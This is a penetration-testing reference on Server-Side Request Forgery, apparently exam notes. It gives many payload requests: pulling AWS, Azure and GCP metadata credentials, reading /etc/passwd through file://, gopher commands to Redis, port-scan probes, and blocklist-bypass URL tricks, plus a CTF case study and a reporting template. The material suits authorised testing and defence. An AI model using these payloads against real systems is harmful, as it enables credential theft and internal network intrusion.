Server-Side Request Forgery
Table of Contents
The server is induced to make HTTP requests to attacker-controlled destinations — internal services, cloud metadata endpoints, or arbitrary external hosts. The server acts as a proxy, bypassing network controls that would block the attacker directly. Impact ranges from internal network reconnaissance to credential theft and RCE.
Related: Web Application Testing Methodology API Testing Methodology PT1 Vulnerability Classification Cheat Sheet CVSS Operation Coldstart CTF
1. Identifying SSRF
Look for any parameter that causes the server to fetch a remote resource — URLs, hostnames, file paths, or IP addresses passed to the server.
# Common parameter names url=, path=, src=, dest=, redirect=, uri=, image=, fetch=, load=, resource=, endpoint=, webhook=, callback= # Common features that trigger SSRF - Image/file import from URL - PDF generation from URL - Webhook configuration - URL preview / link unfurling - Remote resource fetching (RSS, API proxying) - XML processing (XXE can chain to SSRF)
2. Basic Exploitation
Internal Service Access
# Test for basic SSRF — replace URL with localhost GET /fetch?url=http://localhost/ GET /fetch?url=http://127.0.0.1/ GET /fetch?url=http://0.0.0.0/ # Access internal admin panels GET /fetch?url=http://localhost:8080/admin GET /fetch?url=http://127.0.0.1:8080/admin GET /fetch?url=http://192.168.1.1/admin # Internal service discovery GET /fetch?url=http://127.0.0.1:6379/ # Redis GET /fetch?url=http://127.0.0.1:9200/ # Elasticsearch GET /fetch?url=http://127.0.0.1:27017/ # MongoDB GET /fetch?url=http://127.0.0.1:5601/ # Kibana
Cloud Metadata Endpoints
High impact — IAM credentials from metadata APIs allow lateral movement to cloud infrastructure.
# AWS — IMDSv1 (no token required) GET /fetch?url=http://169.254.169.254/latest/meta-data/ GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # Returns: AccessKeyId, SecretAccessKey, Token # AWS — alternative addresses GET /fetch?url=http://[fd00:ec2::254]/latest/meta-data/ # IPv6 GET /fetch?url=http://169.254.169.254/latest/user-data # userdata often contains secrets # Azure GET /fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Requires: Metadata: true header — may need Burp to inject # GCP GET /fetch?url=http://metadata.google.internal/computeMetadata/v1/ GET /fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token # Requires: Metadata-Flavor: Google header
Internal Port Scanning
Use SSRF to enumerate what is running on internal hosts. Infer open/closed from response time or error message differences.
# Systematically probe ports — observe response differences GET /fetch?url=http://192.168.1.10:22 # SSH — connection refused vs timeout GET /fetch?url=http://192.168.1.10:80 # HTTP GET /fetch?url=http://192.168.1.10:443 # HTTPS GET /fetch?url=http://192.168.1.10:3306 # MySQL GET /fetch?url=http://192.168.1.10:5432 # PostgreSQL # Automate with Burp Intruder — payload list of ports # Cluster bomb: IP addresses × ports # Observe: response size, time, error message to distinguish open/closed
Alternative URL Schemes
# File read (if file:// not blocked) GET /fetch?url=file:///etc/passwd GET /fetch?url=file:///C:/Windows/win.ini # Gopher — send arbitrary TCP to non-HTTP services # Redis command via Gopher GET /fetch?url=gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A # Dict protocol — finger internal services GET /fetch?url=dict://127.0.0.1:6379/info
3. Bypass Techniques
Applications often implement blocklists. Bypass attempts:
# Alternative representations of 127.0.0.1 http://2130706433/ # decimal http://0x7f000001/ # hex http://0177.0.0.1/ # octal http://127.1/ # short form http://[::1]/ # IPv6 loopback http://[::]/ # DNS rebinding — point your domain to 127.0.0.1 http://attacker.com/ # resolves to 127.0.0.1 # URL encoding http://%31%32%37%2e%30%2e%30%2e%31/ # 127.0.0.1 encoded # Open redirect chaining # If app allows fetching from trusted domain that redirects: GET /fetch?url=https://trusted.com/redirect?to=http://169.254.169.254/ # HTTPS bypass https://127.0.0.1/ # if only http:// is blocked # @ symbol trick http://expected.com@127.0.0.1/ # browser resolves to 127.0.0.1 # Fragment trick http://127.0.0.1#expected.com
4. SSRF as Access Control Bypass
Not all SSRF impact comes from reaching services the attacker
couldn't otherwise name — sometimes the allow-list is airtight
and the exploit is elsewhere: many applications gate sensitive
routes on source IP rather than authentication, trusting
127.0.0.1 or an internal CIDR as a proxy for authorization. If
the same application (or any allow-listed hostname) can be coerced
into requesting those routes, the outbound request genuinely
originates from the trusted IP — the access control isn't broken
in isolation, it's bypassed by a same-host service acting as the
attacker's proxy.
This is common even with a correctly-implemented hostname
allow-list, if the allowed hostname itself resolves to loopback or
an internal address (e.g. via /etc/hosts or internal DNS) — the
allow-list was never a defence against this, since the "approved"
target was internal by design.
1. Identify routes gated by source-IP checks (request.remote_addr, X-Forwarded-For trust, or equivalent) rather than session/token auth — these are candidates regardless of whether SSRF is confirmed yet 2. Identify any SSRF-capable parameter, even one restricted to an allow-list of "internal" or "approved" hostnames 3. Check what the allowed hostname(s) actually resolve to — an allow-list entry that resolves to 127.0.0.1/internal range turns the allow-list into free passage to the IP-gated routes 4. Chain: request the SSRF-capable endpoint targeting the allow-listed hostname, with a path pointing at the IP-gated admin/internal route
Classify this as SSRF (the root cause and exploitation mechanism), noting the access-control-bypass impact in the description rather than reclassifying as Broken Access Control — the vulnerable component is the unauthenticated outbound fetch, not the IP check itself, which behaved as designed.
Case study — Operation Coldstart CTF
A URL-preview app allow-listed a single "approved internal
hostname" that resolved to 127.0.0.1 via /etc/hosts. A separate
admin route was gated purely on request.remote_addr starting with
127.. Requesting the preview endpoint with the allow-listed
hostname and the admin route's path as target caused the app to
fetch its own admin endpoint, satisfying the IP check and returning
gated content (credentials) in the preview response.
http://target/preview?url=http://<allowlisted-host>/admin/notes
See denote:20260712T205856 for the full chain.
5. Blind SSRF
The server makes the request but the response is not returned. Use out-of-band detection.
# Burp Collaborator — generate a payload URL # Insert into SSRF parameter — if Collaborator receives a request, # the parameter is being fetched server-side # Interactsh (open source Collaborator alternative) # https://github.com/projectdiscovery/interactsh interactsh-client # generates *.oast.fun domain GET /fetch?url=http://<id>.oast.fun # if DNS/HTTP hit received = SSRF confirmed # Time-based detection # Open port → faster response # Closed port → connection refused immediately # Filtered/no route → timeout (much slower) # Measure response times to infer internal network state
6. Testing Methodology
1. Map all parameters that accept URLs, hostnames, or IPs 2. Test with http://127.0.0.1 — confirm basic SSRF 3. Test cloud metadata endpoint (169.254.169.254) 4. Probe common internal ports on 127.0.0.1 and RFC1918 ranges 5. Attempt alternative URL schemes: file://, gopher://, dict:// 6. If blocked: work through bypass list in section 3 7. If no response returned: use Burp Collaborator / Interactsh 8. Check whether any allow-listed/approved hostname resolves to loopback or an internal range — if so, treat it as a direct path to any IP-gated internal route, not just a narrower SSRF 9. Document the request, response, and impact for the report
7. Reporting Template
Classification: Server-Side Request Forgery (SSRF)
Severity: High (internal service access) / Critical (cloud metadata credential theft)
Description:
The url parameter at [endpoint] is passed to a server-side
HTTP client without validation. An attacker can supply an
arbitrary URL causing the server to make requests to internal
services or cloud metadata endpoints not accessible externally.
Evidence:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
{"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}
Remediation:
- Validate and allowlist permitted URLs server-side
- Block requests to RFC1918 ranges and loopback addresses
- Disable unused URL schemes (file://, gopher://, dict://)
- On cloud infrastructure, enforce IMDSv2 (token-required)
- Implement network-level controls preventing the web server from making arbitrary outbound connections
Tips
- Always test 169.254.169.254 on any SSRF — cloud credential theft is the highest-impact outcome and takes one request
- Response time differences are your primary signal for blind SSRF internal port scanning — script it rather than doing it manually
- The
@and#URL tricks catch a surprising number of naive blocklists — try them before concluding the parameter is safe - Gopher is powerful but increasingly blocked — try it after confirming basic HTTP SSRF works
- On the exam: SSRF is classified as SSRF regardless of what the server ultimately accesses